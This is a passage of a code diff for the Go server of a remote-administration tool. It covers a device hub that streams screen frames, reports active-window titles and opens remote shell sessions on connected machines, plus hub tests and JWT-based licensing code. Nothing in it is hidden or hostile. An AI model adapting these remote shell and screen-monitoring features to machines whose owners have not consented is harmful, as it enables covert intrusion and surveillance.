// instead of waiting up to ~15 s for the next IDR.
|
||||||
|
func (h *Hub) PublishScreenFrame(deviceID string, packet []byte, isKeyframe bool) {
|
||||||
|
if isKeyframe {
|
||||||
|
h.mu.Lock()
|
||||||
|
if d, ok := h.devices[deviceID]; ok {
|
||||||
|
d.lastKeyframe = packet
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnScreenFrame(deviceID, packet, isKeyframe)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateLive applies a heartbeat-derived RTT and active-window title to the
|
||||||
|
// device's live fields, then notifies subscribers. No-op if the device is
|
||||||
|
// not registered (e.g. heartbeat arriving for a connection that never sent
|
||||||
|
// TOKEN_LOGIN or has already disconnected).
|
||||||
|
func (h *Hub) UpdateLive(id string, rtt int, activeWindow string) {
|
||||||
|
if id == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
d, ok := h.devices[id]
|
||||||
|
if !ok {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
d.RTT = rtt
|
||||||
|
d.ActiveWindow = activeWindow
|
||||||
|
h.mu.Unlock()
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnDeviceUpdate(id, rtt, activeWindow)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ----- Terminal session management (Phase 6) --------------------------------
|
||||||
|
|
||||||
|
// ErrTerminalBusy is returned by OpenTerminalSession when the device already
|
||||||
|
// has a pending or active terminal session — MVP enforces single-viewer.
|
||||||
|
var ErrTerminalBusy = errors.New("terminal already open by another viewer")
|
||||||
|
|
||||||
|
// OpenTerminalSession atomically marks a terminal session as pending for the
|
||||||
|
// device, then sends COMMAND_SHELL on the main TCP connection so the device
|
||||||
|
// will spawn a shell sub-conn. Returns nil if the request was sent. On any
|
||||||
|
// failure the pending flag is rolled back so retries are possible.
|
||||||
|
//
|
||||||
|
// Single-viewer constraint: if a pending or bound session already exists,
|
||||||
|
// returns ErrTerminalBusy. Mirrors C++ CWebService::HandleTermOpen
|
||||||
|
// (server/2015Remote/WebService.cpp:1838).
|
||||||
|
func (h *Hub) OpenTerminalSession(deviceID string) error {
|
||||||
|
if deviceID == "" {
|
||||||
|
return ErrDeviceOffline
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
if !ok || d.conn == nil {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return ErrDeviceOffline
|
||||||
|
}
|
||||||
|
if d.terminalPending || d.terminalConn != nil {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return ErrTerminalBusy
|
||||||
|
}
|
||||||
|
d.terminalPending = true
|
||||||
|
mainConn := d.conn
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
if h.sender == nil {
|
||||||
|
// Roll back so a retry isn't permanently blocked.
|
||||||
|
h.mu.Lock()
|
||||||
|
d.terminalPending = false
|
||||||
|
h.mu.Unlock()
|
||||||
|
return ErrNoSender
|
||||||
|
}
|
||||||
|
if err := h.sender(mainConn, []byte{protocol.CommandShell}); err != nil {
|
||||||
|
h.mu.Lock()
|
||||||
|
d.terminalPending = false
|
||||||
|
h.mu.Unlock()
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsTerminalPending tells the TCP layer whether the next-arriving shell
|
||||||
|
// sub-conn should be claimed by the web terminal. The C++ side uses this
|
||||||
|
// in MessageHandle to decide between WebService takeover and opening an
|
||||||
|
// MFC dialog (server/2015Remote/2015RemoteDlg.cpp:5753).
|
||||||
|
func (h *Hub) IsTerminalPending(deviceID string) bool {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
return ok && d.terminalPending
|
||||||
|
}
|
||||||
|
|
||||||
|
// BindTerminalConn promotes the pending session to an active one by
|
||||||
|
// associating the device's freshly-arrived shell sub-conn. Returns false
|
||||||
|
// if no pending session exists — callers should drop the orphan ctx.
|
||||||
|
//
|
||||||
|
// Subscribers receive OnTerminalReady AFTER binding so they can flip the
|
||||||
|
// browser into "ready" state immediately on the same TCP roundtrip that
|
||||||
|
// will deliver the first shell output.
|
||||||
|
func (h *Hub) BindTerminalConn(deviceID string, ctx *connection.Context, isPTY bool) bool {
|
||||||
|
if deviceID == "" || ctx == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
if !ok || !d.terminalPending {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
d.terminalConn = ctx
|
||||||
|
d.terminalIsPTY = isPTY
|
||||||
|
d.terminalPending = false
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
h.terminalIndexMu.Lock()
|
||||||
|
h.terminalIndex[ctx] = deviceID
|
||||||
|
h.terminalIndexMu.Unlock()
|
||||||
|
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnTerminalReady(deviceID, isPTY)
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// TerminalDeviceID returns the device ID whose terminal sub-conn this
|
||||||
|
// context belongs to, or "" otherwise. The TCP layer uses this on every
|
||||||
|
// inbound packet on a sub-conn — when non-empty, the bytes are raw shell
|
||||||
|
// output and bypass the usual command-byte switch.
|
||||||
|
func (h *Hub) TerminalDeviceID(ctx *connection.Context) string {
|
||||||
|
h.terminalIndexMu.RLock()
|
||||||
|
defer h.terminalIndexMu.RUnlock()
|
||||||
|
return h.terminalIndex[ctx]
|
||||||
|
}
|
||||||
|
|
||||||
|
// UnbindTerminalConn removes the terminal mapping (called from the TCP
|
||||||
|
// disconnect path for any sub-conn ctx). Fires OnTerminalClosed once if
|
||||||
|
// the unbind actually removed something — so subscribers can update the
|
||||||
|
// browser even on unexpected device-side drops.
|
||||||
|
func (h *Hub) UnbindTerminalConn(ctx *connection.Context) {
|
||||||
|
h.terminalIndexMu.Lock()
|
||||||
|
deviceID, tracked := h.terminalIndex[ctx]
|
||||||
|
if !tracked {
|
||||||
|
h.terminalIndexMu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
delete(h.terminalIndex, ctx)
|
||||||
|
h.terminalIndexMu.Unlock()
|
||||||
|
|
||||||
|
h.mu.Lock()
|
||||||
|
if d, ok := h.devices[deviceID]; ok && d.terminalConn == ctx {
|
||||||
|
d.terminalConn = nil
|
||||||
|
d.terminalPending = false
|
||||||
|
d.terminalIsPTY = false
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnTerminalClosed(deviceID, "disconnected")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SendToTerminal forwards bytes (typically xterm.js keystrokes) to the
|
||||||
|
// device's shell sub-conn. Returns ErrDeviceOffline if no session is
|
||||||
|
// active for this device.
|
||||||
|
func (h *Hub) SendToTerminal(id string, data []byte) error {
|
||||||
|
h.mu.RLock()
|
||||||
|
d, ok := h.devices[id]
|
||||||
|
var tc *connection.Context
|
||||||
|
if ok {
|
||||||
|
tc = d.terminalConn
|
||||||
|
}
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if !ok || tc == nil {
|
||||||
|
return ErrDeviceOffline
|
||||||
|
}
|
||||||
|
if h.sender == nil {
|
||||||
|
return ErrNoSender
|
||||||
|
}
|
||||||
|
return h.sender(tc, data)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TerminalIsPTY reports whether the active session is PTY mode (the
|
||||||
|
// resize command only applies in PTY mode — legacy cmd-pipe ignores it).
|
||||||
|
func (h *Hub) TerminalIsPTY(id string) bool {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
d, ok := h.devices[id]
|
||||||
|
return ok && d.terminalConn != nil && d.terminalIsPTY
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseTerminalSession tears down the session from the server side
|
||||||
|
// (typically when the requesting browser sends term_close or disconnects).
|
||||||
|
// Mirrors CloseScreen's graceful pattern: drop the index synchronously,
|
||||||
|
// send COMMAND_BYE, then close after a short grace period so the client's
|
||||||
|
// IOCPClient reconnect logic doesn't fire.
|
||||||
|
func (h *Hub) CloseTerminalSession(deviceID string) {
|
||||||
|
h.mu.Lock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
if !ok {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tc := d.terminalConn
|
||||||
|
// hadSession guards against firing spurious OnTerminalClosed events
|
||||||
|
// when there was nothing to tear down — relevant when the main-conn
|
||||||
|
// teardown path calls CloseTerminalSession unconditionally as part of
|
||||||
|
// device-offline cleanup, or when both OnDisconnect and an explicit
|
||||||
|
// browser term_close race for the same teardown.
|
||||||
|
hadSession := tc != nil || d.terminalPending
|
||||||
|
d.terminalConn = nil
|
||||||
|
d.terminalPending = false
|
||||||
|
d.terminalIsPTY = false
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
if !hadSession {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnTerminalClosed(deviceID, "closed")
|
||||||
|
}
|
||||||
|
|
||||||
|
if tc == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.terminalIndexMu.Lock()
|
||||||
|
delete(h.terminalIndex, tc)
|
||||||
|
h.terminalIndexMu.Unlock()
|
||||||
|
|
||||||
|
// Mirror Hub.CloseScreen: send COMMAND_BYE then close after 500 ms so
|
||||||
|
// the device exits its shell read loop instead of treating the FIN as
|
||||||
|
// a network blip and triggering reconnect.
|
||||||
|
if h.sender != nil {
|
||||||
|
_ = h.sender(tc, []byte{protocol.CommandBye})
|
||||||
|
}
|
||||||
|
go func(c *connection.Context) {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
c.Close()
|
||||||
|
}(tc)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PublishTerminalData fans out one chunk of shell output to subscribers.
|
||||||
|
// Caller has already wrapped it in the "TRM1" magic header so the browser
|
||||||
|
// can demultiplex from screen frames over the shared WebSocket.
|
||||||
|
func (h *Hub) PublishTerminalData(deviceID string, packet []byte) {
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnTerminalData(deviceID, packet)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Count returns the current number of online devices.
|
||||||
|
func (h *Hub) Count() int {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
return len(h.devices)
|
||||||
|
}
|
||||||
171
server/go/hub/hub_test.go
Normal file
@@ -0,0 +1,171 @@
|
|||||||
|
package hub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
|
||||||
|
)
|
||||||
|
|
||||||
|
// stubCtx returns a non-nil *connection.Context useful only as a sentinel.
|
||||||
|
// Tests never invoke Send / Close on it.
|
||||||
|
func stubCtx() *connection.Context { return &connection.Context{} }
|
||||||
|
|
||||||
|
func TestHubRegisterListUnregister(t *testing.T) {
|
||||||
|
h := New()
|
||||||
|
if got := h.Count(); got != 0 {
|
||||||
|
t.Fatalf("empty hub: want Count=0, got %d", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
h.Register(&Device{ID: "a", Name: "Alice", ConnectedAt: time.Now()}, stubCtx())
|
||||||
|
h.Register(&Device{ID: "b", Name: "Bob", ConnectedAt: time.Now()}, stubCtx())
|
||||||
|
if got := h.Count(); got != 2 {
|
||||||
|
t.Fatalf("after 2 registers: want Count=2, got %d", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
list := h.ListDevices()
|
||||||
|
if len(list) != 2 {
|
||||||
|
t.Fatalf("want 2 devices in list, got %d", len(list))
|
||||||
|
}
|
||||||
|
|
||||||
|
h.Unregister("a")
|
||||||
|
if got := h.Count(); got != 1 {
|
||||||
|
t.Fatalf("after unregister: want Count=1, got %d", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unregister non-existent ID is a no-op
|
||||||
|
h.Unregister("ghost")
|
||||||
|
if got := h.Count(); got != 1 {
|
||||||
|
t.Fatalf("after no-op unregister: want Count=1, got %d", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHubNilAndEmptyIgnored(t *testing.T) {
|
||||||
|
h := New()
|
||||||
|
h.Register(nil, stubCtx())
|
||||||
|
h.Register(&Device{ID: ""}, stubCtx())
|
||||||
|
h.Register(&Device{ID: "valid"}, nil) // nil conn should also be rejected
|
||||||
|
h.Unregister("")
|
||||||
|
if got := h.Count(); got != 0 {
|
||||||
|
t.Fatalf("nil/empty register should be no-op, got Count=%d", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type captureHandler struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
online []string
|
||||||
|
offline []string
|
||||||
|
updates []string // formatted "id:rtt"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnDeviceOnline(d DeviceInfo) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.online = append(c.online, d.ID)
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnDeviceOffline(id string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.offline = append(c.offline, id)
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnDeviceUpdate(id string, rtt int, _ string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.updates = append(c.updates, fmt.Sprintf("%s:%d", id, rtt))
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnScreenFrame(_ string, _ []byte, _ bool) {}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnResolutionChange(_ string, _, _ int) {}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnCursorChange(_ string, _ byte) {}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnTerminalReady(_ string, _ bool) {}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnTerminalData(_ string, _ []byte) {}
|
||||||
|
|
||||||
|
func (c *captureHandler) OnTerminalClosed(_ string, _ string) {}
|
||||||
|
|
||||||
|
func TestHubSubscribeEvents(t *testing.T) {
|
||||||
|
h := New()
|
||||||
|
c := &captureHandler{}
|
||||||
|
unsub := h.Subscribe(c)
|
||||||
|
|
||||||
|
h.Register(&Device{ID: "x", Name: "x"}, stubCtx())
|
||||||
|
h.Register(&Device{ID: "y", Name: "y"}, stubCtx())
|
||||||
|
h.Unregister("x")
|
||||||
|
h.Unregister("nonexistent") // no event
|
||||||
|
|
||||||
|
if len(c.online) != 2 || c.online[0] != "x" || c.online[1] != "y" {
|
||||||
|
t.Fatalf("online events: %+v", c.online)
|
||||||
|
}
|
||||||
|
if len(c.offline) != 1 || c.offline[0] != "x" {
|
||||||
|
t.Fatalf("offline events: %+v", c.offline)
|
||||||
|
}
|
||||||
|
|
||||||
|
unsub()
|
||||||
|
h.Register(&Device{ID: "z"}, stubCtx())
|
||||||
|
if len(c.online) != 2 {
|
||||||
|
t.Fatalf("after unsubscribe should not receive events: %+v", c.online)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHubUpdateLive(t *testing.T) {
|
||||||
|
h := New()
|
||||||
|
c := &captureHandler{}
|
||||||
|
h.Subscribe(c)
|
||||||
|
|
||||||
|
h.Register(&Device{ID: "x", Name: "x"}, stubCtx())
|
||||||
|
h.UpdateLive("x", 42, "Notepad")
|
||||||
|
h.UpdateLive("ghost", 999, "should be ignored") // unknown id, no event
|
||||||
|
|
||||||
|
if len(c.updates) != 1 || c.updates[0] != "x:42" {
|
||||||
|
t.Fatalf("updates: %+v", c.updates)
|
||||||
|
}
|
||||||
|
|
||||||
|
list := h.ListDevices()
|
||||||
|
if list[0].RTT != 42 || list[0].ActiveWindow != "Notepad" {
|
||||||
|
t.Fatalf("live fields not applied: %+v", list[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHubRegisterOverwrites(t *testing.T) {
|
||||||
|
h := New()
|
||||||
|
h.Register(&Device{ID: "x", Name: "first"}, stubCtx())
|
||||||
|
h.Register(&Device{ID: "x", Name: "second"}, stubCtx())
|
||||||
|
list := h.ListDevices()
|
||||||
|
if len(list) != 1 || list[0].Name != "second" {
|
||||||
|
t.Fatalf("re-register should overwrite, got %+v", list)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Race detector should not fire under `go test -race ./hub/...`.
|
||||||
|
func TestHubConcurrent(t *testing.T) {
|
||||||
|
h := New()
|
||||||
|
const goroutines = 50
|
||||||
|
const opsPer = 100
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
for g := range goroutines {
|
||||||
|
wg.Add(1)
|
||||||
|
go func(g int) {
|
||||||
|
defer wg.Done()
|
||||||
|
for i := range opsPer {
|
||||||
|
id := fmt.Sprintf("g%d-%d", g, i)
|
||||||
|
h.Register(&Device{ID: id, Name: id, ConnectedAt: time.Now()}, stubCtx())
|
||||||
|
_ = h.ListDevices()
|
||||||
|
_ = h.Count()
|
||||||
|
h.Unregister(id)
|
||||||
|
}
|
||||||
|
}(g)
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
|
||||||
|
if got := h.Count(); got != 0 {
|
||||||
|
t.Fatalf("after all unregisters: want 0, got %d", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
154
server/go/licensing/factory.go
Normal file
@@ -0,0 +1,154 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Env var names — keep these in one place so README and code stay in sync.
|
||||||
|
const (
|
||||||
|
EnvSignPassword = "YAMA_SIGN_PASSWORD" // LocalSigner master HMAC key
|
||||||
|
EnvLicenseServer = "YAMA_LICENSE_SERVER" // RemoteSigner: License Server base URL
|
||||||
|
EnvLicenseToken = "YAMA_LICENSE_TOKEN" // RemoteSigner: customer JWT
|
||||||
|
EnvLicensePubKeyPath = "YAMA_LICENSE_PUBLIC_KEY" // LocalSigner-as-LS: RSA public key PEM path
|
||||||
|
EnvLicenseHTTPAddr = "YAMA_LICENSE_HTTP_ADDR" // LocalSigner-as-LS: listen address, e.g. ":8443"
|
||||||
|
EnvLicenseOfflineHrs = "YAMA_LICENSE_OFFLINE_HRS" // RemoteSigner: cache TTL hours (default 24)
|
||||||
|
)
|
||||||
|
|
||||||
|
// DefaultOfflineGrace mirrors the "24 hours" decision recorded in the
|
||||||
|
// project memory's licensing design.
|
||||||
|
const DefaultOfflineGrace = 24 * time.Hour
|
||||||
|
|
||||||
|
// Mode is what NewFromEnv inspected to pick a Signer; useful for logging.
|
||||||
|
type Mode int
|
||||||
|
|
||||||
|
const (
|
||||||
|
ModeLocal Mode = iota
|
||||||
|
ModeRemote
|
||||||
|
ModeNoOp
|
||||||
|
)
|
||||||
|
|
||||||
|
func (m Mode) String() string {
|
||||||
|
switch m {
|
||||||
|
case ModeLocal:
|
||||||
|
return "local"
|
||||||
|
case ModeRemote:
|
||||||
|
return "remote"
|
||||||
|
default:
|
||||||
|
return "noop"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SelectedMode reports which mode NewFromEnv picked based on env vars,
|
||||||
|
// without actually constructing a signer. Useful for startup banners.
|
||||||
|
func SelectedMode() Mode {
|
||||||
|
if os.Getenv(EnvSignPassword) != "" {
|
||||||
|
return ModeLocal
|
||||||
|
}
|
||||||
|
if os.Getenv(EnvLicenseServer) != "" && os.Getenv(EnvLicenseToken) != "" {
|
||||||
|
return ModeRemote
|
||||||
|
}
|
||||||
|
return ModeNoOp
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewFromEnv builds the Signer chosen by env vars:
|
||||||
|
// - YAMA_SIGN_PASSWORD set → LocalSigner
|
||||||
|
// - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner
|
||||||
|
// - neither → NoOpSigner
|
||||||
|
//
|
||||||
|
// If both LocalSigner and RemoteSigner vars are set, LocalSigner wins
|
||||||
|
// (an operator's own server should never accidentally call out to itself).
|
||||||
|
// In that case we log a loud warning so the operator notices the dead config.
|
||||||
|
//
|
||||||
|
// <lg> may be nil — RemoteSigner falls back to a silent logger internally.
|
||||||
|
func NewFromEnv(lg Logger) (Signer, Mode, error) {
|
||||||
|
server := os.Getenv(EnvLicenseServer)
|
||||||
|
token := os.Getenv(EnvLicenseToken)
|
||||||
|
pwd := os.Getenv(EnvSignPassword)
|
||||||
|
|
||||||
|
if pwd != "" {
|
||||||
|
if (server != "" || token != "") && lg != nil {
|
||||||
|
lg.Warn("%s is set; ignoring %s/%s (LocalSigner wins) — "+
|
||||||
|
"if you meant to be a customer deployment, unset %s",
|
||||||
|
EnvSignPassword, EnvLicenseServer, EnvLicenseToken, EnvSignPassword)
|
||||||
|
}
|
||||||
|
s, err := NewLocal(pwd)
|
||||||
|
if err != nil {
|
||||||
|
return nil, ModeNoOp, err
|
||||||
|
}
|
||||||
|
return s, ModeLocal, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if server != "" && token != "" {
|
||||||
|
if err := ValidateRemoteURL(server); err != nil {
|
||||||
|
return nil, ModeNoOp, fmt.Errorf("%s rejected: %w", EnvLicenseServer, err)
|
||||||
|
}
|
||||||
|
grace := DefaultOfflineGrace
|
||||||
|
if hrs := os.Getenv(EnvLicenseOfflineHrs); hrs != "" {
|
||||||
|
n, err := strconv.Atoi(strings.TrimSpace(hrs))
|
||||||
|
if err != nil {
|
||||||
|
return nil, ModeNoOp, fmt.Errorf(
|
||||||
|
"%s must be an integer (hours), got %q", EnvLicenseOfflineHrs, hrs)
|
||||||
|
}
|
||||||
|
if n < 0 {
|
||||||
|
return nil, ModeNoOp, fmt.Errorf(
|
||||||
|
"%s must be >= 0, got %d", EnvLicenseOfflineHrs, n)
|
||||||
|
}
|
||||||
|
grace = time.Duration(n) * time.Hour
|
||||||
|
}
|
||||||
|
return NewRemote(server, token, grace, lg), ModeRemote, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if server != "" || token != "" {
|
||||||
|
// Partial config is almost certainly a misconfiguration — fail loudly
|
||||||
|
// rather than silently degrading to NoOp.
|
||||||
|
return nil, ModeNoOp, fmt.Errorf(
|
||||||
|
"%s and %s must be set together (got %s=%q %s=%q)",
|
||||||
|
EnvLicenseServer, EnvLicenseToken,
|
||||||
|
EnvLicenseServer, server, EnvLicenseToken, token)
|
||||||
|
}
|
||||||
|
|
||||||
|
return NewNoOp(), ModeNoOp, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// LicenseServerFromEnv builds the License Server HTTP handler if (and only
|
||||||
|
// if) the operator wants to expose it: requires both YAMA_LICENSE_PUBLIC_KEY
|
||||||
|
// (to verify customer JWTs) and YAMA_LICENSE_HTTP_ADDR (listen address) set,
|
||||||
|
// AND the Signer must be a *LocalSigner (RemoteSigner customer deployments
|
||||||
|
// must never serve a License Server — they don't have the master key).
|
||||||
|
//
|
||||||
|
// Returns (nil, "", nil) if not configured. Returns (server, addr, nil) when
|
||||||
|
// configured. Returns error on bad / partial config.
|
||||||
|
func LicenseServerFromEnv(signer Signer, lg Logger) (*LicenseServer, string, error) {
|
||||||
|
pubPath := os.Getenv(EnvLicensePubKeyPath)
|
||||||
|
addr := os.Getenv(EnvLicenseHTTPAddr)
|
||||||
|
|
||||||
|
if pubPath == "" && addr == "" {
|
||||||
|
return nil, "", nil // not configured — fine
|
||||||
|
}
|
||||||
|
if pubPath == "" || addr == "" {
|
||||||
|
return nil, "", fmt.Errorf(
|
||||||
|
"%s and %s must be set together to enable License Server (got %s=%q %s=%q)",
|
||||||
|
EnvLicensePubKeyPath, EnvLicenseHTTPAddr,
|
||||||
|
EnvLicensePubKeyPath, pubPath, EnvLicenseHTTPAddr, addr)
|
||||||
|
}
|
||||||
|
|
||||||
|
local, ok := signer.(*LocalSigner)
|
||||||
|
if !ok {
|
||||||
|
return nil, "", fmt.Errorf(
|
||||||
|
"License Server requires LocalSigner mode (set %s); current mode is %s",
|
||||||
|
EnvSignPassword, signer.Mode())
|
||||||
|
}
|
||||||
|
|
||||||
|
pubKey, err := LoadRSAPublicKey(pubPath)
|
||||||
|
if err != nil {
|
||||||
|
return nil, "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5-minute eviction window — twice a typical heartbeat interval. Matches
|
||||||
|
// the discussion in quota.go.
|
||||||
|
return NewLicenseServer(local, pubKey, 5*time.Minute, lg), addr, nil
|
||||||
|
}
|
||||||
520
server/go/licensing/licensing_test.go
Normal file
@@ -0,0 +1,520 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/rsa"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"sync/atomic"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/golang-jwt/jwt/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// testKey generates an ephemeral 2048-bit RSA key for JWT signing in tests.
|
||||||
|
// 2048 keeps the test fast (~50ms) but matches realistic security.
|
||||||
|
func testKey(t *testing.T) *rsa.PrivateKey {
|
||||||
|
t.Helper()
|
||||||
|
k, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("rsa.GenerateKey: %v", err)
|
||||||
|
}
|
||||||
|
return k
|
||||||
|
}
|
||||||
|
|
||||||
|
// silentLogger swallows logs in tests but still satisfies the Logger
|
||||||
|
// interface — keeps test output uncluttered.
|
||||||
|
type silentLogger struct{}
|
||||||
|
|
||||||
|
func (silentLogger) Info(string, ...any) {}
|
||||||
|
func (silentLogger) Warn(string, ...any) {}
|
||||||
|
func (silentLogger) Error(string, ...any) {}
|
||||||
|
|
||||||
|
// mustLocal wraps NewLocal for tests so the per-test boilerplate stays
|
||||||
|
// readable. Any test-only HMAC key must be >= 16 chars (see minMasterKeyLen).
|
||||||
|
func mustLocal(t *testing.T, key string) *LocalSigner {
|
||||||
|
t.Helper()
|
||||||
|
s, err := NewLocal(key)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewLocal: %v", err)
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIssueVerifyRoundTrip is the smoke test: a token minted by Issue
|
||||||
|
// must verify under VerifyJWT with the matching public key, and the
|
||||||
|
// claims must round-trip intact.
|
||||||
|
func TestIssueVerifyRoundTrip(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
tok, err := Issue(priv, "customer-abc", TierTrial, 0, 30*24*time.Hour)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Issue: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
claims, err := VerifyJWT(tok, &priv.PublicKey)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("VerifyJWT: %v", err)
|
||||||
|
}
|
||||||
|
if claims.Subject != "customer-abc" {
|
||||||
|
t.Errorf("sub = %q, want customer-abc", claims.Subject)
|
||||||
|
}
|
||||||
|
if claims.Tier != TierTrial {
|
||||||
|
t.Errorf("tier = %q, want %q", claims.Tier, TierTrial)
|
||||||
|
}
|
||||||
|
if claims.MaxDevices != TrialMaxDevices {
|
||||||
|
// Trial JWT minted with MaxDevices=0 should default to TrialMaxDevices
|
||||||
|
// (VerifyJWT normalizes this — see token.go).
|
||||||
|
t.Errorf("max_devices = %d, want %d (trial default)", claims.MaxDevices, TrialMaxDevices)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestVerifyRejectsWrongKey makes sure a token signed by key A cannot
|
||||||
|
// be verified with key B's public half. This is what would fail open
|
||||||
|
// if "alg":"none" tampering wasn't blocked, or if someone reused keys.
|
||||||
|
func TestVerifyRejectsWrongKey(t *testing.T) {
|
||||||
|
priv1 := testKey(t)
|
||||||
|
priv2 := testKey(t)
|
||||||
|
|
||||||
|
tok, err := Issue(priv1, "customer-x", TierPaid, 50, time.Hour)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Issue: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := VerifyJWT(tok, &priv2.PublicKey); err == nil {
|
||||||
|
t.Fatal("VerifyJWT accepted token signed with a different key")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestPaidRequiresMaxDevices: paid tier must carry an explicit cap; trial
|
||||||
|
// gets a default. Catches misconfigured tokens at verify time.
|
||||||
|
func TestPaidRequiresMaxDevices(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
_, err := Issue(priv, "customer-y", TierPaid, 0, time.Hour)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("Issue accepted paid tier with max_devices=0")
|
||||||
|
}
|
